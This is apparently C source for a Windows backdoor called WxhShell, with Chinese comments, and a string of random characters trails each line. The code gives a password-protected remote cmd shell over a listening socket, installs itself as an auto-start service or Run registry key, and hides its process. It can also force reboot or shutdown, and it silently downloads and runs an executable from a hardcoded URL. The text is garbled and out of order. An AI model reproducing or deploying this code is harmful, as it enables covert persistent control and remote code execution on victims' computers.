    if(Boot(SHUTDOWN)) p+:MZP -%(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J-~:W~Qx4N  
    else { h.aXW]]}(P  
    closesocket(wsh); r59BBW)M  
    ExitThread(0); g|x* sZR~Y  
    } #lx(F3  
    break; oMF[<Xf  
    } 1K{hj%  
  // 获取shell h%U,g 9_  
  case 's': {  5f_1 dn  
    CmdShell(wsh); ]"U/3dL5  
    closesocket(wsh); -VZ? c  
    ExitThread(0); 8?$XT  
    break; Opf^#6'mq  
  } /m+.5Qz9)@  
  // 退出 dqw0ns.2  
  case 'x': { mUwGr_)wj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X%Ta?(9|.^  
    CloseIt(wsh); w;V+)r?w  
    break; Qy| 6A@  
    } uS{WeL6%  
  // 离开 c4FU@^Vv  
  case 'q': { SHe547X1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q%_MO`<]$  
    closesocket(wsh); ROr|  <  
    WSACleanup(); 6Vy4]jdT5  
    exit(1); wZ~eE'zx+  
    break; nbSu|sX~r5  
        } `5t CmU  
  } a O(&<  
  } \.{ZgL5"  
p/Lk'h~  
  // 提示信息 Y q-7!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )F%zT[Auph  
} !+ ??3-q  
  } vN`JP`IBx  
$ Q*^c"&  
  return; rJc=&'{&)N  
} ?YhGW   
hbTJXP~~?  
// shell模块句柄 fBct%M 3  
int CmdShell(SOCKET sock) Y j*Y*LB~  
{ v^(J+d_>   
STARTUPINFO si; 2I1CKA:7g  
ZeroMemory(&si,sizeof(si)); D? FWSv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uE,j$d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "o$)z'q  
PROCESS_INFORMATION ProcessInfo; QhmOO-Z?  
char cmdline[]="cmd"; Eilo;-El  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qJEtB;J'  
  return 0; ~DUOL ~E  
} ~X1<x4P\  
^97\TmzP{  
// 自身启动模式 l=^^l`  
int StartFromService(void) ]YwvwmZ  
{ 2B=+p83<  
typedef struct ,:?=j80m  
{ jI,?*n<  
  DWORD ExitStatus; =1% <  
  DWORD PebBaseAddress; r*W&SU9Z  
  DWORD AffinityMask; ,PZ[CX;H@  
  DWORD BasePriority; ]gB:ht  
  ULONG UniqueProcessId; q%8Ck)xz  
  ULONG InheritedFromUniqueProcessId; }y#aO  
}   PROCESS_BASIC_INFORMATION; 9c=`Q5  
>d5L4&r  
PROCNTQSIP NtQueryInformationProcess; km9@*@)  
]d50J@W c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (, 2U?p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ }:#T8h  
e^Glgaf  
  HANDLE             hProcess; Ky6 d{|H  
  PROCESS_BASIC_INFORMATION pbi; VyxX5Lrj  
F=~LVaF/_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g 9:V00^<  
  if(NULL == hInst ) return 0; .0#{ ?R,  
A,! YXl[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bDM;7fFp$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :V:siIDn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5D`!Tu3  
R(<_p"9(  
  if (!NtQueryInformationProcess) return 0; 6gJc?+  
gL6.,4q+1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !eGUiE=  
  if(!hProcess) return 0; Ihg1%.^V\  
y_N h5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PW GN UNc  
o9AwW  
  CloseHandle(hProcess); ~M LBO  
x @uowx_&m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?4MZT5 .  
if(hProcess==NULL) return 0; +"Mlj$O  
,ko0XQBl  
HMODULE hMod; _XUDPC(*qz  
char procName[255]; /7p1y v  
unsigned long cbNeeded; w.R2' W R  
ETtoY<`#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &Vmx<w  
2N}h<Yd 9  
  CloseHandle(hProcess); +pJ~<ug]  
q OX=M  
if(strstr(procName,"services")) return 1; // 以服务启动 s. jcD  
m0+'BC{$u  
  return 0; // 注册表启动 tY6QhhuS:  
} T{mIk p<  
Cw]bhaG g  
// 主模块 ThJ`-Ro  
int StartWxhshell(LPSTR lpCmdLine) ^<QF* !  
{ Q DJe:\n  
  SOCKET wsl; .[>UkM0  
BOOL val=TRUE; 4+4C0/$Y  
  int port=0; uE:`Fo=y  
  struct sockaddr_in door; @8'LI8 \/  
;0]s:0WD0P  
  if(wscfg.ws_autoins) Install(); I vD M2q8f  
]ppws3*Pa  
port=atoi(lpCmdLine); {^*D5  
f^9ntos|  
if(port<=0) port=wscfg.ws_port; E8PlGQ~z{d  
xzOM\Nq?O  
  WSADATA data; DYaOlT(rE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $JZ}=\n7  
!t+eJj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RL~]mI!U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6SN$El 0|G  
  door.sin_family = AF_INET; x] j&Knli  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LCkaSv/[RB  
  door.sin_port = htons(port); gaxxB]8  
sD ,FJ:dy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wc!.{2  
closesocket(wsl); rEG!A87Zz  
return 1; EawtT  
} :}p<Hq 8Z  
8I,/ysT:  
  if(listen(wsl,2) == INVALID_SOCKET) { X UcM~U-  
closesocket(wsl); G=qT{c 8Q  
return 1; OysO55i  
} =y WHm  
  Wxhshell(wsl); f`"@7-N  
  WSACleanup(); p-,(P+Np  
8$y5) ~Q  
return 0; i $;y  
7=[/J*-m  
} R?H[{A X  
&(YNz9L  
// 以NT服务方式启动  NncII5z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &)#bdt[  
{ 7/GL@H  
DWORD   status = 0; vK,.P:n  
  DWORD   specificError = 0xfffffff; F=r`'\JV[  
o1]ZeF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1OW#_4w/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q<d|OX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Gmg&yQ9  
  serviceStatus.dwWin32ExitCode     = 0; n>i}O!agg  
  serviceStatus.dwServiceSpecificExitCode = 0; e.? ;mD  
  serviceStatus.dwCheckPoint       = 0; !0!r}#P  
  serviceStatus.dwWaitHint       = 0; #5}v?  
/E<:=DD<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _"c:Z!L  
  if (hServiceStatusHandle==0) return; ".Sa[A;~  
TxXX}6  
status = GetLastError(); m. "T3K  
  if (status!=NO_ERROR) El4SL'E@  
{ BhC>G2 ^7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !+Us)'L  
    serviceStatus.dwCheckPoint       = 0; e]@R'oM?#`  
    serviceStatus.dwWaitHint       = 0; w^wh|'u^_@  
    serviceStatus.dwWin32ExitCode     = status; J^)=8cy  
    serviceStatus.dwServiceSpecificExitCode = specificError; "=vH,_"Ql  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y?.l9  
    return; NB?y/v  
  } r>3y87  
]gG&X3jaKq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (H-}z`sy/@  
  serviceStatus.dwCheckPoint       = 0; ~e#QAaXD#5  
  serviceStatus.dwWaitHint       = 0; W:*  {7qJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 66%4p%#b4  
} \1mTKw)S  
r0/o{Y|l6  
// 处理NT服务事件,比如:启动、停止 *zTEK:+_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SWPb=[WEz  
{ VAet!H+]  
switch(fdwControl) yy#4DYht  
{ FCA]zR1  
case SERVICE_CONTROL_STOP: 2}jC%jR2  
  serviceStatus.dwWin32ExitCode = 0; xI(Y}>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yo;Mexo!  
  serviceStatus.dwCheckPoint   = 0; Ft^+P*  
  serviceStatus.dwWaitHint     = 0; pIP ^/H  
  { N@G~+GCxL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (7J (.EG2e  
  } ypV>*  
  return; '7(oCab"_  
case SERVICE_CONTROL_PAUSE: *nc9 u"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !@wG22iC4d  
  break; 8lfKlXR78  
case SERVICE_CONTROL_CONTINUE: 2(iv+<t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u RPvo}!=1  
  break; K6M_b?XekA  
case SERVICE_CONTROL_INTERROGATE: a<d$P*I(cH  
  break; u[~= a 5:4  
}; 6;{E-y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AxZaV;%*  
} 3}ATt".  
4VrL@c @  
// 标准应用程序主函数 CGY,I UG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X w_6SR9C  
{ f5dctDHP  
OXIy0].b  
// 获取操作系统版本 iDrQ4>  
OsIsNt=GetOsVer(); Mv#\+|p 1x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )W.Y{\D0  
32Jl|@8,g  
  // 从命令行安装 IBSoAL  
  if(strpbrk(lpCmdLine,"iI")) Install(); mj _ V6`m4  
6V^KOG  
  // 下载执行文件 oES4X{,  
if(wscfg.ws_downexe) { mH)th7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z;+LU6V  
  WinExec(wscfg.ws_filenam,SW_HIDE); cNvh2JI  
} zPt0IB_j'  
%y_AT2A  
if(!OsIsNt) { F`U YgN  
// 如果时win9x,隐藏进程并且设置为注册表启动 "pW@[2Dkx/  
HideProc(); TSHH=`cx  
StartWxhshell(lpCmdLine); Z&Ao;=Gp1  
} A!.* eIV|  
else xA {1XS}  
  if(StartFromService()) (X(c.Jj  
  // 以服务方式启动 <Z^qBM  
  StartServiceCtrlDispatcher(DispatchTable); ztHEXM.  
else ~zD*=h2C  
  // 普通方式启动 :Yy8Ie#  
  StartWxhshell(lpCmdLine); (043G[H'.  
F,>-+~L=  
return 0; Dh~Z 8!*  
} tj;<EaM  
' &j]~m  
>S=,ype~G  
rtY4 B~_  
=========================================== ]/y69ou  
:MbD=sX  
QB|D_?]  
|cd=7[B  
hD! 9[Gb  
>$dkA\&p  
" k:k!4   
)'Yoii{dSU  
#include <stdio.h> IWD21lS  
#include <string.h> %2t#>}If!  
#include <windows.h> 2i_X{!0}  
#include <winsock2.h> nH -1,#`g  
#include <winsvc.h> oq3{q  
#include <urlmon.h> Ad]oM]  
k}r)I.Lp  
#pragma comment (lib, "Ws2_32.lib") )o>1=Y`[z  
#pragma comment (lib, "urlmon.lib") ?7CHHk  
R4P$zB_<2  
#define MAX_USER   100 // 最大客户端连接数 DA -W =Cc  
#define BUF_SOCK   200 // sock buffer _E<  
#define KEY_BUFF   255 // 输入 buffer xzjG|"a[GB  
5'hQ6i8  
#define REBOOT     0   // 重启 wc7F45l4  
#define SHUTDOWN   1   // 关机 Q]NGd 0J  
^tY$pPA  
#define DEF_PORT   5000 // 监听端口 96.Vm*/7  
2*1FW v  
#define REG_LEN     16   // 注册表键长度 D|rcSa.M  
#define SVC_LEN     80   // NT服务名长度 <"rckPv_H  
&6}] v:  
// 从dll定义API i1JWdHt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |nTZ/MXbw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y\1XKAfB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` "JslpN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J~URv)g  
KQ\d$fX  
// wxhshell配置信息 TDnbX_xC<  
struct WSCFG { P2^((c  
  int ws_port;         // 监听端口 $bv l.c  
  char ws_passstr[REG_LEN]; // 口令 ~PAbtY9}U  
  int ws_autoins;       // 安装标记, 1=yes 0=no <{yQNXf[  
  char ws_regname[REG_LEN]; // 注册表键名 4hh=z>$|l)  
  char ws_svcname[REG_LEN]; // 服务名 O)i]K`jk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b/ dyH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 06peo d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z/>0P* F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *)H&n>"e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vn1hr;i]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wr+1G 8  
d[Lr`=L;  
}; ,) JSX o  
2r~&+0sBP  
// default Wxhshell configuration t4E=  
struct WSCFG wscfg={DEF_PORT, N2_9V~!  
    "xuhuanlingzhe", YDMimis\H5  
    1, baVSQtda  
    "Wxhshell", b 7%O[  
    "Wxhshell", l-mf~{   
            "WxhShell Service", <DjFMTCN  
    "Wrsky Windows CmdShell Service",  ZD'fEqM  
    "Please Input Your Password: ", wRi` L7  
  1, `!$I6KxT  
  "http://www.wrsky.com/wxhshell.exe", xjDV1Xf*  
  "Wxhshell.exe" x3>PM]r(V  
    }; 1~# 2AdG  
o>'1ct  
// 消息定义模块 ]{<`W5 b/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]2Q:&T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yHL5gz@k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }7H8Y}m  
char *msg_ws_ext="\n\rExit."; fQB>0RR2  
char *msg_ws_end="\n\rQuit."; bkgJz+u  
char *msg_ws_boot="\n\rReboot..."; P5*~ Wi`  
char *msg_ws_poff="\n\rShutdown..."; Ydr/ T/1  
char *msg_ws_down="\n\rSave to "; \dz@hJl:  
eHjn<@  
char *msg_ws_err="\n\rErr!"; ~yvOR`2Gg  
char *msg_ws_ok="\n\rOK!"; pwvcH3l/r  
'~ {xn  
char ExeFile[MAX_PATH]; Lz9t9AoB  
int nUser = 0; Q< q&a8~  
HANDLE handles[MAX_USER]; "x*5g*k  
int OsIsNt; oT\u^WU  
-b4#/q+bb+  
SERVICE_STATUS       serviceStatus; LJ|2=lI+jb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AShnCL8uR  
iJrF$Xw  
// 函数声明 !L#>wlX)  
int Install(void); 1*"t-+|  
int Uninstall(void); DGwN*>X  
int DownloadFile(char *sURL, SOCKET wsh); rK\)  
int Boot(int flag); :OVre*j  
void HideProc(void); =a<};X  
int GetOsVer(void); &l=%*`On  
int Wxhshell(SOCKET wsl); WD^!G;}  
void TalkWithClient(void *cs); '>]9efJA  
int CmdShell(SOCKET sock); y2U^7VrO  
int StartFromService(void); wf<=r W'  
int StartWxhshell(LPSTR lpCmdLine); v{}i`|~J  
ZO2$Aan  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cv b:FK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {5=Iu\e  
}!i#1uHUH:  
// 数据结构和表定义 w< hw>e^.  
SERVICE_TABLE_ENTRY DispatchTable[] = KKd S h1  
{ Qw{LD+r(  
{wscfg.ws_svcname, NTServiceMain}, bnz2\C9^  
{NULL, NULL} ]S6`",+)<f  
}; E-\<,=bh  
-];/*nl  
// 自我安装 &_^t$To  
int Install(void) 4X@ <PX5  
{ 0z2A!ap  
  char svExeFile[MAX_PATH]; <J`",h  
  HKEY key; 3+_ .I{  
  strcpy(svExeFile,ExeFile); K{}U[@_tS  
hy"O_Le  
// 如果是win9x系统,修改注册表设为自启动 @,<@y>m7  
if(!OsIsNt) { _JZw d9K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :3s5{s   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cViEvS r  
  RegCloseKey(key); Vs-])Q?7J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] {r*Z6bs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +ou ]|  
  RegCloseKey(key); xm }9(EJ  
  return 0; b3G4cO;t;  
    } iINd*eXb^  
  } Lbka*@  
} I6x  
else { HWJ(O/N  
3iHUG^sLW  
// 如果是NT以上系统,安装为系统服务 hlpi-oW`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iyF~:[8  
if (schSCManager!=0) mTcopyp  
{ bqHR~4 #IR  
  SC_HANDLE schService = CreateService 2g elmQnc  
  ( FC:Z9{2!  
  schSCManager, ,Jy@n]x  
  wscfg.ws_svcname, +!'\}"q  
  wscfg.ws_svcdisp, OSk+l  
  SERVICE_ALL_ACCESS, [i 18$q5D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HJVi:;o  
  SERVICE_AUTO_START, HuPw?8w=  
  SERVICE_ERROR_NORMAL, .Vm!Ng )j  
  svExeFile, >~-8RM  
  NULL, L> ehL(]!  
  NULL, P8N`t&r"7  
  NULL, Q= DP# 9&  
  NULL, u%J04vG"D  
  NULL ,GB~Cmc1<Q  
  ); 8E:8iNbF  
  if (schService!=0) wN"j:G(  
  { ?MT V!i0  
  CloseServiceHandle(schService); d{cd+An  
  CloseServiceHandle(schSCManager); 9E/{HNkf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B? $9M9  
  strcat(svExeFile,wscfg.ws_svcname); *C81DQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 )1 8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =IQ+9Fl2  
  RegCloseKey(key); q6 h'=By  
  return 0; ~c&ygL3  
    } 3;@/`Z_\lt  
  } Yv?nw-HM  
  CloseServiceHandle(schSCManager); !}Sf?n P#  
} >wz& {9ni  
} G%{J.J41F  
>h^CC*&'pw  
return 1; u^DfRd&P0  
} LUGyc( h  
hk =nXv2M  
// 自我卸载 A>@ i TI  
int Uninstall(void) -nVQB146^  
{ J*Dt\[X  
  HKEY key; c418TjO;  
!~+"TI}_%w  
if(!OsIsNt) { 'R&Y pR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X]^FHYjhS  
  RegDeleteValue(key,wscfg.ws_regname); f tS^|%p  
  RegCloseKey(key); @>Y.s6a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &cnciEw1  
  RegDeleteValue(key,wscfg.ws_regname); pCXceNFo  
  RegCloseKey(key); 3uSj5+@q6  
  return 0; td*1  
  } kD&% 7Vz  
} MKqMH,O  
} T5* t~`bfU  
else { ch|4"&g  
sw<mmayN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T bMW?Su  
if (schSCManager!=0) /NFk@8<?  
{ Y?ADM(j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +#%#QL  
  if (schService!=0) |mx)W}  
  { F E`4%X  
  if(DeleteService(schService)!=0) { v2OK/W,0  
  CloseServiceHandle(schService); V}?*kx~T2C  
  CloseServiceHandle(schSCManager); ?T]` X  
  return 0; 6n[O8^  
  } EW$.,%b1  
  CloseServiceHandle(schService); uY{zZ4iw  
  } 5c(mgEvq  
  CloseServiceHandle(schSCManager); Un [olp  
} j#}wg`P"A  
} \"L ;Ct 8  
OVwcjhQ  
return 1; /y8=r"'G  
} $1aJdZC7  
PxuE(n V[  
// 从指定url下载文件 e"^ /xF  
int DownloadFile(char *sURL, SOCKET wsh) (u/-ud1p  
{ <ttrd%VW  
  HRESULT hr; ORVFp]gG  
char seps[]= "/"; c[p>*FnP  
char *token; $KSdNFtM)A  
char *file; GyirE`  
char myURL[MAX_PATH]; MHl ffj  
char myFILE[MAX_PATH]; VFmG\  
u'Od~x^z  
strcpy(myURL,sURL); |6]2XW  
  token=strtok(myURL,seps); _/FpmnaY  
  while(token!=NULL) z|KQiLza  
  { T\ixS-%^  
    file=token; C)x>/Qr~  
  token=strtok(NULL,seps); 47S1mxur  
  } EC`!&Yp+  
7T\LYDT  
GetCurrentDirectory(MAX_PATH,myFILE); gu~JB  
strcat(myFILE, "\\"); rM?O2n  
strcat(myFILE, file); Ox| ?  
  send(wsh,myFILE,strlen(myFILE),0); T ^ z  
send(wsh,"...",3,0); B^7B-RBi0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I_?+;<n  
  if(hr==S_OK) 1/JtL>SKE  
return 0; h>w(Th\H  
else wwvS05=[T  
return 1; ,@\$PyJ  
bD2):U*Fzo  
} &ikPa,A  
D^_]x51>  
// 系统电源模块 B//2R)HS  
int Boot(int flag) 0|Rt[qwKb@  
{ EgE% NY~  
  HANDLE hToken; 'P AIh*qA  
  TOKEN_PRIVILEGES tkp; !6` pq  
n]%T>\gw  
  if(OsIsNt) { 5`_UIYcI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "YC5viX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9$ VudE>;  
    tkp.PrivilegeCount = 1; TnuaP'xZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1<9=J`(H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b0(bL_,  
if(flag==REBOOT) { `>HM<Nn-0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @IXvp3r  
  return 0; "dkDT7  
} ;7:_:o[.  
else { !~j-5+DI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \GF 9;N}V  
  return 0; (BT{\|,V_m  
} )ajF ca@v  
  } 7>-"r*W +z  
  else { EDDld6O,  
if(flag==REBOOT) { ]QJ N` ;b0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w\K(kNd(  
  return 0; Wr j<}L|  
} 5bj9S  
else { yQ [n7du  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GJr1[  
  return 0; .!`y(N0hc  
} -X]?ql*%`  
} F.Sc2n@7-  
.or1*-B K  
return 1; fb=[gK#*,  
} ku3(cb!2  
Md*~hb8J  
// win9x进程隐藏模块 /bSAVSKR  
void HideProc(void) iB XS   
{ *3!#W|#=]N  
6f'THU$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9K:ICXm  
  if ( hKernel != NULL ) x/d(" Bb  
  { j^T i6F>f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r%uka5@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #5 %\~ f  
    FreeLibrary(hKernel); FJ+n- \  
  } VF bso3q<j  
2(i@\dZCb<  
return; h,fC-+H5  
} (teK0s;t5k  
eZ G#op  
// 获取操作系统版本 [uLpm*7  
int GetOsVer(void) i)1013b  
{ #xoFcjRE  
  OSVERSIONINFO winfo; gebDNl\Y2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EyDH -}Y  
  GetVersionEx(&winfo); +a'["Gjq;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j /)A<j$  
  return 1; oc>N| ww:  
  else )*`cJ_t  
  return 0; fo"%4rkL  
} <*3#nA-O>i  
'}, 8x?  
// 客户端句柄模块 PKg>|]Rf.  
int Wxhshell(SOCKET wsl) PNp-/1Cx  
{ VkD}gJY  
  SOCKET wsh; Q`zW[Y&]  
  struct sockaddr_in client; ]kir@NMv>  
  DWORD myID; >Tp`Kri  
2[X\*"MQ2  
  while(nUser<MAX_USER) G_E \p%L>]  
{ 3EA+tG4KnO  
  int nSize=sizeof(client); 3%(BZ23  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?ZAynZF|#  
  if(wsh==INVALID_SOCKET) return 1; 4XNdsb  
&Cm$%3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %jh gKq  
if(handles[nUser]==0) G6XDPr:}  
  closesocket(wsh); Vpe\Okt:  
else laQ{nSVBm  
  nUser++; C~X"ZW:d[  
  } :>*0./hG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 08qM?{z o^  
]j+J^g  
  return 0; 8D&yFal  
} z5 g4+y,  
nc9sfH3  
// 关闭 socket ~N]pB]/][  
void CloseIt(SOCKET wsh) gkFw=Cd  
{ 3y}8|ML  
closesocket(wsh); D16w!Mnz{K  
nUser--; 2I>`{#fV  
ExitThread(0); r:U/a=V  
} j58'P 5N  
aflBDo1c  
// 客户端请求句柄  jAxrU  
void TalkWithClient(void *cs) *[+{KJ  
{ nU,~*Us  
^ 0g!,L  
  SOCKET wsh=(SOCKET)cs; l&_PsnU  
  char pwd[SVC_LEN]; ]T;  
  char cmd[KEY_BUFF]; l\_81oZ  
char chr[1]; ,DD}o  
int i,j; ho%G  
4XgzNwm  
  while (nUser < MAX_USER) { f/vsf&^O  
2v`Q;%7O  
if(wscfg.ws_passstr) {  s-Qq#T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kL e{3>}j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6^sH3=#  
  //ZeroMemory(pwd,KEY_BUFF); i'3)5  
      i=0; <"@5. f1"Y  
  while(i<SVC_LEN) { G<>h>c1>z  
I#:Dk?"O2  
  // 设置超时 S#b)RpY  
  fd_set FdRead; Y-.aSc53  
  struct timeval TimeOut; XaH;  
  FD_ZERO(&FdRead); X@\ 9}*9  
  FD_SET(wsh,&FdRead); YM&i  
  TimeOut.tv_sec=8; rCd*'Qg  
  TimeOut.tv_usec=0; t[p/65L>8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @;7Ht Z`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gx;-1  
[mFgo il  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nP+jkNn3  
  pwd=chr[0]; ke19(r Ch  
  if(chr[0]==0xd || chr[0]==0xa) { M~ g{}_ 0Z  
  pwd=0; !,OY{='  
  break; 2Ft#S8  
  } zsr;37  
  i++; ]92=PA>75  
    } >rY^Un{Z  
3 p!t_y|SX  
  // 如果是非法用户,关闭 socket jJV1 /]TJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l}~9xa}:D|  
} 42=/$V  
SedVp cb+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +R',$YzD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v9 8s78  
B=HE i\55K  
while(1) { A2''v3-h8  
59H~qE1Md  
  ZeroMemory(cmd,KEY_BUFF); y]}N [l  
kC iOcl*$  
      // 自动支持客户端 telnet标准   Kidbc Z  
  j=0; Tbj}04;I  
  while(j<KEY_BUFF) { q{XeRQ'/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?nwg.&P  
  cmd[j]=chr[0]; qT^0 %O:  
  if(chr[0]==0xa || chr[0]==0xd) { "4L_BJZ  
  cmd[j]=0; y3ST0=>j}  
  break; ) ):w`^6  
  } %']`t-N8  
  j++; {yM@3v~  
    } -/R?D1kOq  
"DSRyD0M  
  // 下载文件 9P*p{O{_  
  if(strstr(cmd,"http://")) { cd;~60@K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $9ys! <g  
  if(DownloadFile(cmd,wsh)) H^JFPvEc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KeWIC,kq  
  else Ee^>Q*wahw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I\f\k>;  
  } p/gf  
